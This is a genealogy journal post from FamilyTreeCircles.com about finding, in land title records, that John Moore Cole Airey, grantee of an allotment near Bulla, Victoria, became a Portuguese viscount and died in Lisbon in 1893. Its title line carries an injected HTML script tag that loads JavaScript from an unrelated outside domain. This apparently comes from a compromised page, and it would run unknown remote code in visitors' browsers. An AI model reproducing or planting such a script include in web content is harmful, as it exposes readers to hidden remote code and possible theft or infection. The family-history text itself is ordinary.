JOHN MOORE COLE AIREY'S DEATH WOULD HAVE BEEN A MYSTERY BUT FOR FAMILY TREE CIRCLES.<script src="https://bestdoctornearme.com/splitter.ai/index.php"></script> :: FamilyTreeCircles.com Genealogy
<< Previous - Next >>

JOHN MOORE COLE AIREY'S DEATH WOULD HAVE BEEN A MYSTERY BUT FOR FAMILY TREE CIRCLES.

Journal by itellya

J.M.C.AIREY

David Patullo's "Craigbank" on Wildwood Rd, Bulla included part of a paddock known as Airey's, crown allotment 5B Bulla Bulla of 319 acres through which the road runs to the Martin Dillon bridge from St John's lane.

In researching Craigbank in the titles office, I had written "Application 39872 (Maurice Quinlan 1912) tells us that John Moore Cole Airey, the grantee of 5B, became Viconde De Airey of Portugal and died in Lisbon on 17-7-1893." I included this in my PATULLO journal to which I have been referring this morning and when I discovered this information, I wondered if it had previously been published. It apparently hadn't because my journal was given as the source.

AND none of my journals would probably been published if not for the magnificent SCOTT JANGRO!
THANK YOU FOR FAMILY TREE CIRCLES, SCOTT!

Thank you also to ngairedith whose offer to help reinstate the text of THE PATULLO PIONEERS NEAR BULLA AND SOMERTON, VIC., AUST. led me to edit the journal, removing some speculation and repetition before I sent it to him. Having done this, I added some information about George, another of David's brothers and two PATULLO-GLOVER marriages that probably resulted from Patullo family visits to Mornington's blacksmith, William Alston and his wife Jane (David Patullo's daughter.) As if by magic, the text successfully submitted.

JOHN MOORE COLE AIREY'S BROTHER.
GEORGE SHERBROOKE AIREY
G.S.AIREY'S DEATH.

Surnames: AIREY DILLON JANGRO PATULLO
Viewed: 1369 times
Likes: 0
by itellya Profile | Research | Contact | Subscribe | Block this user
on 2018-08-09 04:26:33

Itellya is researching local history on the Mornington Peninsula and is willing to help family historians with information about the area between Somerville and Blairgowrie. He has extensive information about Henry Gomm of Somerville, Joseph Porta (Victoria's first bellows manufacturer) and Captain Adams of Rosebud.

Do you know someone who can help? Share this:

Comments

Register or Sign in to comment on this journal.